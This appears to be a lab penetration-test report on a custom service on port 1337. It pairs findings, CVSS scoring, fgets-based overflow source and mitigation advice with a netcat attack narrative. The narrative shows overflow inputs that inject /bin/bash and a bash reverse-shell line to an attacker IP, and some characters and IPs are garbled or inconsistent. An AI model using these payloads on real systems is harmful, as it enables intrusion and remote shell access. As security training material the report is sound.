Ex070-Brians Service

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1 Technical Report

1.1 Finding: Arbitrary Code Execution in Brian's Service

Severity Rating

CVSS Base Severity Rating: 7.3 AV:N AC:L PR:N UI:N S:U C:L I:L A:L

Vulnerability Description

The machine www.artstailor.com runs a vulnerable service on port 1337. The service is custom-developed and has vulnerable authentication and a buffer overflow vulnerability. These vulnerabilities allow arbitraty code execution on the machine with the privileges of the account owned by the web-admin *brian*. The attack complexity is low.

Confirmation method - Vulnerable Authentication

Netcat to the service on 1337. When the service asks for username, enter a valid username. In this case it is brian. If the service without asking for a strong password allows us execute few commands then the authentication is vulnerable.

Confirmation method - Buffer Overflow

Provide long strings to various inputs such as username and command. If the service shows signs of overflow through distorted outputs, then the service is still vulnerable.

A more concrete example is the steps we performed.

1. Buffer Overflow in user input

```
(kali⊕ kali)-[~]

$ nc 172.70.184.133 1337

Enter Name of admin (max 15 characters)

AAAAAAAAAAAAAAAAAAAAhsab/nib/
Enter Name of admin (max 15 characters)

brian

Enter Command

netstat -nat
ip a
/bin/bash
/bin/bash
bash -i >6 /dev/tcp/172.24.0.10/8000 0>61
```

Provide a long input such as above in username input and check for signs of Overflow in service's output.

2. Buffer Overflow in user command input

Provide a long input such as above in commands input and check for signs of Overflow in service's output.

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Mitigation or Resolution Strategy

Code refactoring is required to strengthen both authentication and the overflow vulnerability. For authentication, the server should ask for a complex password along with publicly available or guessable username. To resolve the overflow vulnerability the parameters for the *fgets* function calls in the service should be corrected.

In the future, better testing practices need to be employed when deploying services that are accessible from the Internet.

2 Attack Narrative - Attacking Brian's Service

1. We run an nmap scan against the web server www.artstailor.com @ 172.70.185.133. We scan the port range 1-5000 using a TCP scan.

We have the following observations:

- (a) A service on port 21. Running vsFTPD.
- (b) A service on port 22. Running OpenSSH.
- (c) A service on port 53. Running ISC Bind for DNS.
- (d) A service on port 80. Running Apache HTTPD.
- (e) A service on port 1337. Probably Brian's service.
- 2. We will try to connect using netcat to port **1337**. The service asks for a username. I tried **brian** and it logged me in. **No password was asked**.

```
(kali⊗ kali)-[~]
$ nc 172.70.184.133 1337
Enter Name of admin (max 15 characters)
Brian
Enter Name of admin (max 15 characters)
brian
Enter Command
netstat -nat
ip a
ps auxww
```

- 3. We observe that we can only run commands that are shown in the list with the exact parameters. We can run *netstat*, *ip*, and *ps*.
- Fuzzing the input, we find out that providing long strings leads to buffer overflow.

```
(kali⊗ kali)-[~]
$ nc 172.70.184.133 1337
Enter Name of admin (max 15 characters)
brian
Enter Command
netstat -nat
ip a
ps auxww
klsdfjkldsjfkldsjflksdfjlkdjfoiewafnjiowenionviowen
Enter Command
netstat -nat
klsdfjklds
klsdfjkldsjfknewoivnoi
```

We observe that the overflow changes the commands that we can execute.

5. By carefully crafting a input, we can overflow the buffer to inject commands that could get us a shell. First we try to inject command **id**.

```
(kali® kali)-[~]
$ nc 172.70.184.133 1337
Enter Name of admin (max 15 characters)
brian
Enter Command
netstat -nat
ip a
ps auxww
idiwjofijwoeifjiwjfoiwjfoiwjfiowejfiowjefoi
Enter Command
netstat -nat
id
idiwjofijwoeii
id
uid=1000(brian) gid=1000(brian) groups=1000(brian),100(users)
```

Here after injecting the id command, we are able to run it. The output shows us that we are running the shell with username **brian**.

6. We also observe that the overflow also occurs in input where it asks for Name. After few trials and errors, it is found that we can overflow the name to inject /bin/bash into runnable commands.

```
(kali@ kali)-[~]
$ nc 172.70.184.133 1337
Enter Name of admin (max 15 characters)
AAAAAAAAAAAAAAAAAbab/nib/
Enter Name of admin (max 15 characters)
brian
Enter Command
netstat -nat
ip a
/bin/bash
/bin/bash
id
uid=1000(brian) gid=1000(brian) groups=1000(brian),100(users)
```

We have a shell, however, we can also get a more stable reverse shell.

7. Run **nc -lvnp LPORT** on the attack machine to capture the reverse shell.

Now inject the shell command for reverse shell in Brian's service and run it. Use the IP of the attack machine and LPORT as the targets for the reverse shell.

The captured shell is now available on listening port.

8. Now we can read Brian's home directory. We find an encoded key in the hidden secrets file.

9. We also find the source code for the service in **toools.c**. Cat*ing* the file, we observe the following.

```
#define MY_PORT 1337
#define IP 0
#define MY_NAME "brian"

#define BUFLEN 1024
#define NAMELEN 16
#define CMDLEN 12
```

The following constants are defined.

- (a) BUFLEN = 1024 (the size of the buffer that fgets will write into)
- (b) NAMELEN = 16 (the size of the admin name buffer)
- (c) CMDLEN = 12 (the size of the next_command & copy_command buffer)

These following variables are defined.

```
char commands[37];
char admin[NAMELEN];
char next_command[CMDLEN+1];
char copy_command[CMDLEN+1];
```

The buffer Overflow occurs when *fgets* reads std input and writes into two variables **admin** & **copy_command** with the incorrect size **BUFLEN**. Since both variables are of size **NAMELEN** and **CMDLEN** respecitivey, which are both **very small** than **BUFLEN**. This leads to the Buffer Overflow that lets us write into the adjacent **commands variable**. This variable contains the possible commands (but in **reverse**). Therefore, by writing into the commands variable using Buffer Overflow due to incorrect parameters to fgets, we were able to manipulate the list of executable commands and get a shell.

```
// get admin user credential
while (strcmp(admin,MY_NAME) ≠ 0) {
   printf("%s\n",enter_name);
   fflush(stdout); // Required for user interaction
   fgets(admin, BUFLEN, stdin);
   admin[strlen(admin)-1] = '\0';
}
```

```
// Process commands
while(1) {

    // list available commands
    printf("%s\n",enter_command);
    for(int i=2; i ≥ 0; i--){

        // print reverse of command buffer entry
        j = strlen(commands + CMDLEN*i);
        p = commands + CMDLEN*i + j - 1;
        while(p ≥ commands + CMDLEN*i) {
            printf("%c", *p);
            p--;
        }
        printf("\n");
    }
    fflush(stdout);

// read user command, terminate on EOF
    if (fgets(copy_command, BUFLEN, stdin) = NULL) {
        exit(EXIT_SUCCESS);
    }
```

2.1 MITRE ATT&CK Framework TTPs

TA0043: Reconnaissance

T1592: Gather Victim Host Information

.002: Software TA0001: Initial Access

T1190: Exploit Public-Facing Application

NA: NA

TA0001: Initial Access

T1078: Valid Accounts

.003: Local Accounts

TA0002: Execution

T1059: Command and Scripting Interpreter

.004: Unix Shell TA0007: Discovery

T1087: Account Discovery

.001: Local Account

TA0007: Discovery

T1083: File and Directory Discovery

NA: NA